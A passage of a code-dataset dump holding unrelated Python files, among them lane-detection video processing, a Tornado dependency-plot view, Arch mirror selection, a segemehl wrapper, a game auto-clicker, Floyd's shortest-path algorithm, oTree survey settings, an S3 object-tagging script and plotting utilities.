thresholds\r\n\tdir_binary = np.zeros_like(direction)\r\n\tdir_binary[(direction>= thresh[0]) & (direction <= thresh[1])] = 1\r\n\t\r\n\treturn dir_binary\r\n\r\ndef color_threshold(image, lthresh=(0, 255), vthresh=(0, 255), sthresh=(0,255)):\r\n\t# Convert to HLS and extract S channel\r\n\tHLS = cv2.cvtColor(image, cv2.COLOR_BGR2HLS)\r\n\ts_channel = HLS[:,:,2]\r\n\ts_binary = np.zeros_like(s_channel)\r\n\ts_binary[(s_channel > sthresh[0]) & (s_channel <= sthresh[1])] = 1\r\n\t\r\n\tLUV = cv2.cvtColor(image, cv2.COLOR_BGR2LUV)\r\n\tl_channel = LUV[:,:,0]\r\n\tl_binary = np.zeros_like(l_channel)\r\n\tl_binary[(l_channel > lthresh[0]) & (l_channel <= lthresh[1])] = 1\r\n\t\r\n\tHSV = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)\r\n\tv_channel = HSV[:,:,2]\r\n\tv_binary = np.zeros_like(v_channel)\r\n\tv_binary[(v_channel > vthresh[0]) & (v_channel <= vthresh[1])] = 1\r\n\r\n\tcol_binary = np.zeros_like(l_channel)\r\n\tcol_binary[(s_binary == 1) & (v_binary == 1) & (l_binary == 1)] = 1\r\n\t\r\n\treturn col_binary\r\n\r\ndef window_mask(width, height, img_ref, center,level):\r\n\toutput = np.zeros_like(img_ref)\r\n\toutput[int(img_ref.shape[0]-(level+1)*height):int(img_ref.shape[0]-level*height),max(0,int(center-width/2)):min(int(center+width/2),img_ref.shape[1])] = 1\r\n\treturn output\r\n\r\n\r\n\r\ndef process_image_lanes(img):\r\n \t\r\n \t# Undistort each image\r\n \timg = cv2.undistort(img, mtx, dist, None, mtx)\r\n \t# Process image and generate binaries\r\n \tprocessedImage = np.zeros_like(img[:,:,0])\r\n \r\n \tgradx = abs_sobel_thresh(img, orient='x', sobel_kernel=3, thresh=(8, 255)) #10,255\r\n \tgrady = abs_sobel_thresh(img, orient='y', sobel_kernel=3, thresh=(50, 255)) #50,255\r\n \tcol_binary = color_threshold(img, lthresh = (65,255), vthresh = (65,255), sthresh=(65,255)) #65,65,20 \r\n \t#processedImage[mag == 1 | col_binary == 1] = 255\r\n \tprocessedImage[(gradx == 1) & (grady == 1) | col_binary == 1] = 255\r\n\r\n \t# Perspective Transform\r\n \timg_size = (img.shape[1], img.shape[0])\r\n \t#Perspective Transform\r\n \tbot_width = .75 #.75\r\n \tmid_width = .08 #.079\r\n \theight_pct = .625 \r\n \tbottom_trim = .935 \r\n\r\n \tsrc = np.float32([[img.shape[1]*(.5-mid_width/2),img.shape[0]*height_pct],\r\n \t\t[img.shape[1]*(.5+mid_width/2),img.shape[0]*height_pct],\r\n \t\t[img.shape[1]*(.5+bot_width/2),img.shape[0]*bottom_trim],\r\n \t\t[img.shape[1]*(.5-bot_width/2),img.shape[0]*bottom_trim]])\r\n \toffset = img.shape[1]*.26 #.258 .275\r\n \tdst = np.float32([[offset, 0],\r\n \t [img.shape[1]-offset, 0],\r\n \t [img.shape[1]-offset,img.shape[0]],\r\n \t [offset,img.shape[0]]])\r\n\r\n \tM = cv2.getPerspectiveTransform(src,dst)\r\n \tMinv = cv2.getPerspectiveTransform(dst, src)\r\n \twarped = cv2.warpPerspective(processedImage,M,img_size,flags=cv2.INTER_LINEAR)\r\n\r\n \twindow_width = 25\r\n \twindow_height = 80\r\n \tmargin = 25 \r\n \tsmooth = 35\r\n\r\n \tcurve_points = window_tracker(window_width = window_width, window_height = window_height, margin = margin, smooth = smooth)\r\n \twindow_centroids = curve_points.find_window_centroids(warped)\r\n\r\n \t# Points used to draw all the left and right windows\r\n \tl_points = np.zeros_like(warped)\r\n \tr_points = np.zeros_like(warped)\r\n\r\n \tleftx = []\r\n \trightx = []\r\n \t# Go through each level and draw the windows \r\n \tfor level in range(0,len(window_centroids)):\r\n \t\tleftx.append(window_centroids[level][0])\r\n \t\trightx.append(window_centroids[level][1])\r\n\t\t# Window_mask is a function to draw window areas\r\n \t\tl_mask = window_mask(window_width,window_height,warped,window_centroids[level][0],level)\r\n \t\tr_mask = window_mask(window_width,window_height,warped,window_centroids[level][1],level)\r\n\t\t# Add graphic points from window mask here to total pixels found \r\n \t\tl_points[(l_points == 255) | ((l_mask == 1) ) ] = 255\r\n \t\tr_points[(r_points == 255) | ((r_mask == 1) ) ] = 255\r\n\r\n \t# Fit lane boundaries to left, right and center positions\r\n \tyvals = range(0, warped.shape[0])\r\n \tres_yvals = np.arange(warped.shape[0] - (window_height/2), 0, -window_height)\r\n\r\n \tleft_fit = np.polyfit(res_yvals, leftx, 2)\r\n \tleft_fitx = left_fit[0]*yvals*yvals + left_fit[1]*yvals + left_fit[2]\r\n \tleft_fitx = np.array(left_fitx, np.int32)\r\n\r\n \tright_fit = np.polyfit(res_yvals, rightx, 2)\r\n \tright_fitx = right_fit[0]*yvals*yvals + right_fit[1]*yvals + right_fit[2]\r\n \tright_fitx = np.array(right_fitx, np.int32)\r\n\r\n \twarp_zero = np.zeros_like(warped).astype(np.uint8)\r\n \tcolor_warp = np.dstack((warp_zero, warp_zero, warp_zero))\r\n \typlot = np.linspace(0, 719, num = 720)\r\n \tpts_left = np.array([np.transpose(np.vstack([left_fitx, yplot]))])\r\n \tpts_right = np.array([np.flipud(np.transpose(np.vstack([right_fitx, yplot])))])\r\n \tpts = np.hstack((pts_left, pts_right))\r\n \tcv2.fillPoly(color_warp, np.int_([pts]), (0,255, 0))\r\n\r\n \tnewwarp = cv2.warpPerspective(color_warp, Minv, (img.shape[1], img.shape[0]))\r\n \tresult = cv2.addWeighted(img, 1, newwarp, 0.3, 0) \r\n\r\n \t# Define conversions in x and y from pixels space to meters\r\n \tym_per_pix = 30/720 # meters per pixel in y dimension\r\n \txm_per_pix = 3.7/700 # meters per pixel in x dimension\r\n \t# Fit new polynomials to x,y in world space\r\n\r\n \t# Distance from road center\r\n \tcamera_center = (left_fitx[-1] + right_fitx[-1])/2\r\n \tcenter_diff = (camera_center -warped.shape[1]/2)*xm_per_pix\r\n \tside = 'left'\r\n \tif center_diff <= 0:\r\n \t\tside = 'right'\r\n\r\n \tleft_fit_cr = np.polyfit(np.array(res_yvals, np.float32)*ym_per_pix, np.array(leftx, np.float32)\\\r\n \t\t*xm_per_pix, 2)\r\n \tright_fit_cr = np.polyfit(np.array(res_yvals, np.float32)*ym_per_pix, np.array(rightx, np.float32)\\\r\n \t\t*xm_per_pix, 2)\r\n \t# Calculate the new radii of curvature\r\n \tleft_curverad = ((1 + (2*left_fit_cr[0]*yvals[-1]*ym_per_pix + left_fit_cr[1])**2)**1.5) /\\\r\n \t np.absolute(2*left_fit_cr[0])\r\n \tright_curverad = ((1 + (2*right_fit_cr[0]*yvals[-1]*ym_per_pix + right_fit_cr[1])**2)**1.5) /\\\r\n \t np.absolute(2*right_fit_cr[0])\r\n\r\n \tcv2.putText(result, 'Left Curve radius = ' +str(np.round(left_curverad,3)) + 'm', (50,50),\\\r\n \t cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)\r\n \tcv2.putText(result, 'Right Curve Radius = ' +str(np.round(right_curverad,3)) + 'm', (50,100),\\\r\n \t cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)\r\n \tcv2.putText(result, str(np.round(center_diff,3)) + ' meters ' + str(side) + ' of center', (50,150),\\\r\n \t cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2)\r\n\r\n \treturn result\r\n\r\noutput_video = 'output3_tracked.mp4'\r\ninput_video = 'challenge_video.mp4'\r\n#input_video = 'challenge_video.mp4'\r\n\r\nClip1 = VideoFileClip(input_video)\r\nvideo = Clip1.fl_image(process_image_lanes)#.subclip(27,33)\r\nvideo.write_videofile(output_video, audio=False)\r\n\r\n","sub_path":"video_gen.py","file_name":"video_gen.py","file_ext":"py","file_size_in_byte":8552,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"379075368","text":"from __future__ import absolute_import\n\nimport sys\nimport copy\nimport logging\nimport ast\nimport os\nimport shelve\nimport datetime\n\ntry:\n from itertools import imap\nexcept ImportError:\n imap = map\n\nimport tornado\nfrom tornado import web\nfrom tornado.concurrent import run_on_executor\n\nfrom ..views import BaseHandler\nfrom ..utils.tasks import get_task_by_id\n\nfrom scheduler import settings\nfrom scheduler.command.__main__ import SchedulerCommand\nfrom scheduler.core import evaluate_cycles,load_workflows\nfrom scheduler.action import resolve_deps\nfrom scheduler.beat import SchedulerBeat\n\n\ndef resolve_deps_for_cycle(action_id, cycle_dt,):\n cycles_dt, cycles_str = evaluate_cycles(cycle_dt)\n cycle_dt = cycles_dt[0]\n\n beat = SchedulerBeat(now=cycle_dt)\n\n if cycle_dt not in beat.cycles_workflows:\n return []\n else:\n workflow = beat.cycles_workflows[cycle_dt]\n return resolve_deps(action_id, workflow, upstream=True)\n \nclass DependencyPydotView(BaseHandler):\n def __init__(self, *args, **kwargs):\n super(DependencyPydotView, self).__init__(*args,**kwargs)\n self.pool = self.application.pool\n\n @run_on_executor(executor='pool')\n def _plot_deps(self, task_id):\n task = get_task_by_id(self.application.events, task_id)\n if task:\n output = '/tmp/%s.png' % task_id\n if not os.path.exists(output):\n actions_id = getattr(task,'actions_id',[])\n workflows_id = getattr(task,'workflows_id',[])\n if actions_id or workflows_id:\n workflow = load_workflows(workflows_id)+actions_id\n else:\n workflow = resolve_deps_for_cycle(task.action_id, \n task.cycle_dt)+\\\n [task.action_id]\n if workflow:\n try:\n SchedulerCommand(['deps', '-c', task.cycle_dt, '-w', ','.join(workflow), '-o', output]).command()\n except SystemExit as exc:\n if exc.code == 0:\n pass\n else:\n return self.write_error(500, exc_info=sys.exc_info())\n except Exception as exc:\n return self.write_error(500, exc_info=sys.exc_info())\n else:\n return self.render('404.html', message=\"Task has no dependencies\")\n else:\n return self.render('404.html', message=\"Task UUID Not found\")\n\n with open(output, 'rb') as dep_plot:\n self.set_header(\"Content-Type\", \"image/png\")\n return dep_plot.read()\n\n @web.authenticated\n @tornado.gen.coroutine\n def get(self, task_id):\n app = self.application\n capp = self.application.capp\n result = yield self._plot_deps(task_id)\n if result:\n self.write(result)","sub_path":"flower/views/deps.py","file_name":"deps.py","file_ext":"py","file_size_in_byte":2978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"143638603","text":"import os\n\nfrom reflector import find_best_mirror\n\nNEXT_FUNC = os.environ.get('NEXT_FUNC')\n\n\ndef _get_all_repo_mirrors(best_mirror, repos):\n \"\"\"Reference each repository with the best mirror found.\n\n Args:\n best_mirror (str): The best mirror found to search the package list with\n repos (list): List of repositories to search\n\n Returns:\n list: A collection of mirrors for each repo as a URL\n \"\"\"\n print(f\"Using {best_mirror} for the following repos: {repos}\")\n\n mirrors = []\n for repo in repos:\n mirror = best_mirror \\\n .replace('Server = ', '') \\\n .replace('$arch', 'x86_64') \\\n .replace('$repo', repo) + f'/{repo}.db'\n mirrors.append(mirror)\n\n return mirrors\n\n\ndef get_best_mirror(countries, repos):\n best_mirror = find_best_mirror(countries)\n mirrors = _get_all_repo_mirrors(best_mirror, repos)\n return mirrors\n","sub_path":"package_updater/best_mirror.py","file_name":"best_mirror.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"539187655","text":"# uncompyle6 version 3.7.4\n# Python bytecode 3.7 (3394)\n# Decompiled from: Python 3.6.9 (default, Apr 18 2020, 01:56:04) \n# [GCC 8.4.0]\n# Embedded file name: /opt/anaconda3/lib/python3.7/site-packages/reademptionlib/segemehl.py\n# Compiled at: 2019-07-15 11:59:22\n# Size of source mod 2**32: 2654 bytes\nfrom subprocess import call\nimport pysam, os\n\nclass Segemehl(object):\n __doc__ = 'A simple segemehl wrapper.'\n\n def __init__(self, segemehl_bin='segemehl', show_progress=False):\n self._segemehl_bin = segemehl_bin\n self._show_progress = show_progress\n\n def build_index(self, fasta_files, index_file):\n \"\"\"Create an index based on a list of fasta files\"\"\"\n segemehl_call = [\n self._segemehl_bin, '--database'] + fasta_files + [\n '--generate', index_file]\n if self._show_progress is False:\n with open(os.devnull, 'w') as (devnull):\n call(segemehl_call, stderr=devnull)\n else:\n call(segemehl_call)\n\n def align_reads(self, read_file_or_pair, index_file, fasta_files, output_file, hit_strategy=1, accuracy=95, evalue=5.0, threads=1, split=False, segemehl_format=False, order=False, nonmatch_file=None, other_parameters=None, paired_end=False):\n if not paired_end:\n assert type(read_file_or_pair) == str\n segemehl_call = [\n self._segemehl_bin,\n '--query', read_file_or_pair]\n else:\n assert type(read_file_or_pair) == list\n segemehl_call = [\n self._segemehl_bin,\n '--query', read_file_or_pair[0],\n '--mate', read_file_or_pair[1]]\n segemehl_call += [\n '--index', index_file, '--database'] + fasta_files + [\n '--outfile', output_file,\n '--bamabafixoida',\n '--hitstrategy', str(hit_strategy),\n '--accuracy', str(accuracy),\n '--evalue', str(evalue),\n '--threads', str(threads)]\n if segemehl_format:\n segemehl_call.append('--SEGEMEHL')\n else:\n if order is True:\n segemehl_call.append('--order')\n if split is True:\n segemehl_call.append('--splits')\n if nonmatch_file:\n segemehl_call += ['--nomatchfilename', nonmatch_file]\n if self._show_progress is False:\n pass\n if other_parameters:\n segemehl_call.append(other_parameters)\n if self._show_progress is False:\n with open(os.devnull, 'w') as (devnull):\n call(segemehl_call, stderr=devnull)\n else:\n call(segemehl_call)\n tmp_sorted_outfile = f\"{output_file}_sorted\"\n pysam.sort('-o', tmp_sorted_outfile, output_file)\n os.rename(tmp_sorted_outfile, output_file)\n pysam.index(output_file)","sub_path":"pycfiles/READemption-0.5.0.linux-x86_64.tar/segemehl.cpython-37.py","file_name":"segemehl.cpython-37.py","file_ext":"py","file_size_in_byte":2862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"509350224","text":"import pvz\nfrom pvz import *\n\nprint('nowopen %s' % win32gui.GetWindowText(hwnd)) # 打印窗口标题\nsleep(2)\nwhile True:\n print(\"shop\")\n for i in range(0, 5):\n #MoveClick(760, 55) #shop\n MDOWN(760, 55)\n sleep(0.1)\n MUP(760, 55)\n sleep(0.5)\n sleep(1)\n for i in range(0,10):\n print(\"buy\", i)\n Click(480, 355) #tree food\n sleep(0.2)\n MoveClick(315,395) #yes\n sleep(0.2)\n\n sleep(1)\n for i in range(0, 5):\n MoveClick(440, 555) #back\n sleep(0.5)\n\n sleep(1)\n for i in range(0,10):\n print(\"tree\", i)\n Click(65, 40)\n Click(385, 360)\n sleep(3)\n","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"383336254","text":"from utility import *\r\n\r\ndef allShortestPath(g,n):\r\n\t# node number는 1부터 n\r\n\tP = [[0 for cols in range(n)] for rows in range(n)]\r\n\t# copy g to D\r\n\tD = g[:]\r\n\r\n\tfor k in range(n):\r\n\t\tfor i in range(n):\r\n\t\t\tfor j in range(n):\r\n\t\t\t\t# Floyd Alg2\r\n\t\t\t\tif D[i][k]+D[k][j] < D[i][j]:\r\n\t\t\t\t\tP[i][j] = k + 1 \t\t\t#노드는 1부터 시작.\r\n\t\t\t\t\tD[i][j] = D[i][k]+D[k][j]\r\n\treturn D, P\r\n\r\n# for k in range(n-1, -1, -1):\r\n# 위처럼 k를 오름차순이 아닌 내림차순으로 했을 경우 D의 결과는 같은데, P의 결과가 다르다.\r\n# 그 이유는 i부터 j까지의 경로 중간에 노드를 2 개 거쳐갈 경우\r\n# 반복문 안에서 앞서 나오는 노드가 늦게 나온 노드로 덮여쓰여지기 때문이다.\r\n\r\n\r\n# 중간 노드 출력\r\ndef _path(p, q, r):\r\n\tif p[q][r] != 0:\r\n\t\t_path(p, q, p[q][r] - 1) # index = (행렬 P 내부의 값) - 1\r\n\t\tprint(\"v%d\" %p[q][r], end=\" \") # 경유한 정점을 출력\r\n\t\t_path(p, p[q][r] - 1, r)\r\n\r\n# wrapper 함수 : 시작노드, 끝노드 출력기능만 수행\r\ndef path(p, q, r):\r\n print(\"v%d\"% q, end=\" \")\r\n _path(p, q - 1, r - 1)\t\t# path에서 index가 0부터 시작하므로 -1 하였다.\r\n print(\"v%d\"% r, end=\" \")\r\n\r\n\r\n\r\n# 중간 노드만을 출력\r\ndef path2(p, q, r):\r\n\tif p[q-1][r-1] != 0:\t\t\t\t\t#P는 인덱스 0부터 시작하고, 정점은 1부터 시작한다.\r\n\t\tpath2(p, q, p[q-1][r-1])\r\n\t\tprint(\"v%d\" %p[q-1][r-1], end=\" \")\t#경유한 정점을 출력\r\n\t\tpath2(p, p[q-1][r-1], r)\r\n\r\n\r\ninf=1000\r\ng=[[0,1,inf, 1,5],\r\n [9,0,3,2,inf],\r\n [inf,inf,0,4,inf],\r\n [inf,inf,2,0,3],\r\n [3,inf,inf,inf,0]]\r\nd, p = allShortestPath(g,5)\r\nprint(\"\\nmatrix d\")\r\nprintMatrix(d)\r\nprint(\"\\nmatrix p\")\r\nprintMatrix(p)\r\n\r\nprint(\"\\npath\")\r\npath(p, 5, 3)\r\nprint()\r\npath2(p, 5, 3)\r\n","sub_path":"Python/2020-2_알고리즘분석/3_DynamicProgramming/3_2_FloydShortestPath.py","file_name":"3_2_FloydShortestPath.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"167396636","text":"'''\nCreated on Jun 28, 2016\n\n@author: kessaku\n'''\nimport numpy as np \nimport scipy.stats as stats\nimport matplotlib.pyplot as plt\n\n\nplt.figure()\nplt.suptitle('this is a random normal plot')\ntest_data = np.random.normal(size=1000) \ngraph1 = stats.probplot(test_data, dist=\"norm\", plot=plt)\nplt.show() #this will generate the first graph\n#\nplt.figure()\nplt.suptitle('this is a uniform normal plot')\ntest_data2 = np.random.uniform(size=1000) \ngraph2 = stats.probplot(test_data2, dist=\"norm\", plot=plt)\nplt.show() #this will generate the second graph\n#\nplt.suptitle('this is a Bar plot')\nplt.hist(test_data2, histtype='bar')\nplt.show() #this will generate the bar graph\n#\nplt.suptitle('this is a Box plot')\nplt.boxplot(test_data)\nplt.show() #this will generate the bar graph\n# plt.savefig(\"boxplot.png\")\n","sub_path":"prob.py","file_name":"prob.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"273564684","text":"# This file processes the data into a format amenable for classification\nfrom __future__ import print_function\n\nimport csv\nimport sys\nimport numpy as np\n\ndef readFile(fname):\n ''' returns an array containing the data from the file '''\n data = []\n with open(fname, 'rb') as csvfile:\n reader = csv.reader(csvfile, delimiter=',')\n # skip the header\n reader.next()\n for row in reader:\n # row[0] contains the id, row [1] contains the data\n data.append(row[1])\n return data\n\ndef readData():\n ''' reads all train and test data and returns as three arrays '''\n abstractsTrain = readFile('../datasets/train_in.csv')\n y = readFile('../datasets/train_out.csv')\n abstractsTest = readFile('../datasets/test_in.csv')\n return abstractsTrain, y, abstractsTest\n\ndef processData():\n # preprocessing to go here\n return readData()\n\ndef getClassCounts(y):\n numMath = 0\n numStats = 0\n numCs = 0\n numPhysics = 0\n for v in y:\n if v == \"math\":\n numMath += 1\n elif v == \"stat\":\n numStats += 1\n elif v == \"cs\":\n numCs += 1\n elif v == \"physics\":\n numPhysics += 1\n print(\"Math: %d abstracts, %f percent\" % (numMath, (float(numMath) / len(y)) * 100.0))\n print(\"Stats: %d abstracts, %f percent\" % (numStats, (float(numStats) / len(y)) * 100.0))\n print(\"CS: %d abstracts, %f percent\" % (numCs, (float(numCs) / len(y)) * 100.0))\n print(\"Physics: %d abstracts, %f percent\" % (numPhysics, (float(numPhysics) / len(y)) * 100.0))\n return numMath, numStats, numCs, numPhysics\n","sub_path":"project_code/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"478276109","text":"from os import environ\n\n\nSESSION_CONFIGS = [\n dict(\n name='abcapp', \n display_name=\"ABC Survey (Full App)\",\n app_sequence=[\n 'abcapp', \n 'mini_quiz', \n 'postexperimental_questions', \n 'narcissism_questionnaire', \n 'risk_scale', \n 'behavioural_avoidance',\n 'entitlement_questionnaire',\n 'demographic_questions', \n 'payment_info'\n ], \n num_demo_participants=3\n ),\n dict(\n name='mini_quiz', \n display_name=\"Mini Quiz (sub app)\",\n app_sequence=['mini_quiz', 'payment_info'], \n num_demo_participants=3\n ),\n dict(\n name='postexperimental_questions', \n display_name=\"Post Experimental Questions (sub app)\",\n app_sequence=['postexperimental_questions', 'payment_info'], \n num_demo_participants=3\n ),\n dict(\n name='narcissism_questionnaire', \n display_name=\"Narcissism Questionnaire (sub app)\",\n app_sequence=['narcissism_questionnaire', 'payment_info'], \n num_demo_participants=3\n ),\n dict(\n name='risk_scale', \n display_name=\"Risk Scale (sub app)\",\n app_sequence=['risk_scale', 'payment_info'], \n num_demo_participants=3\n ),\n dict(\n name='behavioural_avoidance', \n display_name=\"Behavioural Avoidance (sub app)\",\n app_sequence=['behavioural_avoidance', 'payment_info'], \n num_demo_participants=3\n ),\n dict(\n name='entitlement_questionnaire', \n display_name=\"Entitlement Questionnaire (sub app)\",\n app_sequence=['entitlement_questionnaire', 'payment_info'], \n num_demo_participants=3\n ),\n dict(\n name='demographic_questions', \n display_name=\"Demographic Questions (sub app)\",\n app_sequence=['demographic_questions', 'payment_info'], \n num_demo_participants=3\n ),\n]\n# if you set a property in SESSION_CONFIG_DEFAULTS, it will be inherited by all configs\n# in SESSION_CONFIGS, except those that explicitly override it.\n# the session config can be accessed from methods in your apps as self.session.config,\n# e.g. self.session.config['participation_fee']\n\nSESSION_CONFIG_DEFAULTS = dict(\n real_world_currency_per_point=1.00, participation_fee=0.00, doc=\"\"\n)\n\n# ISO-639 code\n# for example: de, fr, ja, ko, zh-hans\nLANGUAGE_CODE = 'en'\n\n# e.g. EUR, GBP, CNY, JPY\nREAL_WORLD_CURRENCY_CODE = 'USD'\nUSE_POINTS = True\n\nROOMS = [\n dict(\n name='econ101',\n display_name='Econ 101 class',\n participant_label_file='_rooms/econ101.txt',\n ),\n dict(name='live_demo', display_name='Room for live demo (no participant labels)'),\n]\n\nADMIN_USERNAME = 'admin'\n# for security, best to set admin password in an environment variable\nADMIN_PASSWORD = environ.get('OTREE_ADMIN_PASSWORD')\n\nDEMO_PAGE_INTRO_HTML = \"\"\"\nHere are some oTree games.\n\"\"\"\n\n\nSECRET_KEY = '3424299565655'\n\nINSTALLED_APPS = ['otree']\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":2984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"409422483","text":"import boto3\nimport os\nimport time\nfrom botocore.client import ClientError\n\nclient = boto3.client('cloudformation')\ns3 = boto3.resource('s3')\n#stack creation\n\nresponse = client.create_stack(\n StackName='stack1',\n TemplateURL='https://shivam1052061-source.s3.ap-south-1.amazonaws.com/Template.yaml',\n Capabilities=['CAPABILITY_NAMED_IAM'])\n\n\n#time allocation for stack creation properly\n\ntime.sleep(15)\n\n#uploading of objects to the s3 bucket\n\ni=1\nwhile i!=31:\n s3.Object('shivam1052061', \"%d.txt\" % (i)).upload_file(Filename='C:\\\\Users\\\\ADMIN\\\\PycharmProjects\\\\week2\\\\numbers\\\\'+str(i)+'.txt')\n i=i+1\n\n#print(\"1-done\")\n#i=2\n#s3.Object('shivam1052061', \"%d.txt\" % (i)).upload_file(Filename='C:\\\\Users\\\\ADMIN\\\\PycharmProjects\\\\week2\\\\numbers\\\\'+str(i)+'.txt')\n\n#setting of object tags\nj=1\nclient = boto3.client('s3')\nwhile j!=31:\n if j%2==0:\n response1 = client.put_object_tagging(\n Bucket='shivam1052061',\n Key='%d.txt'%(j),\n Tagging={\n 'TagSet': [\n {\n 'Key': 'divby2',\n 'Value': '2yes'\n },\n ]\n }\n )\n j=j+1\n else:\n response1 = client.put_object_tagging(\n Bucket='shivam1052061',\n Key='%d.txt' % (j),\n Tagging={\n 'TagSet': [\n {\n 'Key': 'notdivby2',\n 'Value': '2no'\n },\n ]\n }\n )\n j=j+1\nprint(\"2-done\")\n#bucket = s3.Bucket('shivam1052061')\n# for my_bucket_object in bucket.objects.all():\n # print(my_bucket_object)\n# deletion of objects based on specific tags\n\n\nclient = boto3.client('s3')\ndeltagK='notdivby2'\ndeltagV='2no'\n\n\nbucket = s3.Bucket('shivam1052061')\nfor key in bucket.objects.all():\n var=key.key\n response = client.get_object_tagging(\n Bucket='shivam1052061',\n Key=var,\n )\n tagK = response['TagSet'][0]['Key']\n tagV = response['TagSet'][0]['Value']\n # print(tagK + \" \")\n # print(tagV + \" \")\n if tagK == deltagK and tagV == deltagV:\n print(\"4-done\" + \" \")\n response3 = client.delete_object(\n Bucket='shivam1052061',\n Key=var\n )\n # print(\"4-doneanddusted\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n''' \n---------unused code------------\n\nclient = boto3.client('s3control')\nresponse = client.create_job(\n AccountId='682283364620 ',\n Operation={\n\n 'S3PutObjectTagging': {\n 'TagSet': [\n {\n 'Key': 'naturalnumber',\n 'Value': 'yo'\n },\n ]\n }\n },\n Report={\n 'Bucket': 'shivam1052061',\n 'Format': 'Report_CSV_20180820',\n 'Enabled': True,\n 'Prefix': 'string',\n 'ReportScope': 'AllTasks'\n },\n ClientRequestToken='',\n Manifest={\n 'Spec': {\n 'Format': 'json'\n },\n 'Location': {\n 'ObjectArn': 'string',\n 'ObjectVersionId': 'string',\n 'ETag': 'c81e728d9d4c2f636f067f89cc14862c'\n }\n },\n Description='string',\n Priority=2,\n RoleArn='string'\n)\n'''\n'''k=1\nprint(\"3-done\")\nwhile k!=10:\n response = client.get_object_tagging(\n Bucket='shivam1052061',\n Key=\"%d.txt\" % (k),\n )\n tagK=response['TagSet'][0]['Key']\n tagV = response['TagSet'][0]['Value']\n print(tagK+ \" \")\n print(tagV+ \" \")\n if tagK == deltagK and tagV == deltagV :\n print(\"4-\")\n response3 = client.delete_object(\n Bucket='shivam1052061',\n Key='%d.txt' % (k)\n )\n k=k+1\n print(\"4-done\")\n print(k)\n'''","sub_path":"try.py","file_name":"try.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"130882359","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef plotlinetime_j2j(fig, data, x1, x2, y1, y2, titlestr, yrange=None, yticks=None, yticklabels=None, ytitle=None, linecolor=None):\n \"\"\" plot a line plot. Takes input from jan 1st to dec 31st and plots the line plot from \n July to June.\n Input: fig = your figure \n data = a 365 element array containing data to be plotted\n x1 = location of left edge of plot\n x2 = location of right edge of plot\n y1 = location of bottom edge of plot\n y2 = location of top edge of plot\n titlestr = plot title\n yrange = optional range for y axis\n yticks = optional ticks for y axis\n yticklabels = optional tick labels for y axis\n ytitle= optional title for y axis\n linecolor = optional color of line\n \"\"\"\n\n july1 = 181\n dataplot = np.zeros([data.size])\n dataplot[0:365-july1]=data[july1:365]\n dataplot[365-july1:365]=data[0:july1]\n\n ax = fig.add_axes([x1,y1,x2-x1,y2-y1])\n monticks=[0,31,62,92,123,154,185,213,244,274,304,334,365]\n monticks2=np.zeros(12)\n for i in range(0,12):\n monticks2[i] = monticks[i] + (monticks[i+1]-monticks[i])/2.\n\n if (yrange):\n ax.set_ylim(yrange)\n\n if (yticks):\n ax.set_yticks(yticks)\n \n if (yticklabels):\n ax.set_yticklabels(yticklabels, fontsize=14)\n\n if (ytitle):\n ax.set_ylabel(ytitle, fontsize=14)\n\n ax.set_xlim([0,365])\n ax.tick_params(which='minor', length=0)\n ax.set_xticks(monticks)\n ax.set_xticklabels([])\n ax.set_xticks(monticks2, minor=True)\n ax.set_xticklabels(['J','A','S','O','N','D','J','F','M','A','M','J'], minor=True, fontsize=14)\n ax.set_title(titlestr, fontsize=16)\n\n if (linecolor):\n ax.plot(np.arange(0,365,1),dataplot, color=linecolor, linewidth=2) \n else:\n ax.plot(np.arange(0,365,1),dataplot, linewidth=2)\n \n return ax\n\ndef oplotlinetime_j2j(ax, data, linecolor=None):\n \"\"\" over plot a line on a plot already created using plotlinetime_j2j\"\"\"\n july1 = 181\n dataplot = np.zeros([data.size])\n dataplot[0:365-july1]=data[july1:365]\n dataplot[365-july1:365]=data[0:july1]\n\n if (linecolor):\n ax.plot(np.arange(0,365,1),dataplot, color=linecolor, linewidth=2) \n else:\n ax.plot(np.arange(0,365,1),dataplot, linewidth=2)\n \n return ax\n\ndef oplotrange_j2j(ax, minline, maxline, color=None):\n \"\"\"overplot a range on a plot already created using plotlinetime_j2j\"\"\"\n july1 = 181\n minplot = np.zeros([minline.size])\n maxplot = np.zeros([maxline.size])\n minplot[0:365-july1] = minline[july1:365]\n minplot[365-july1:365] = minline[0:july1]\n maxplot[0:365-july1] = maxline[july1:365]\n maxplot[365-july1:365] = maxline[0:july1]\n\n if (color):\n ax.fill_between(np.arange(0,365,1), minplot, maxplot, color=color, alpha=0.5)\n else:\n ax.fill_between(np.arange(0,365,1), minplot, maxplot, color='salmon', alpha=0.5)\n\n return ax\n\n\n\n\n\n\n \n","sub_path":"CASutils/lineplot_utils.py","file_name":"lineplot_utils.py","file_ext":"py","file_size_in_byte":3032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} 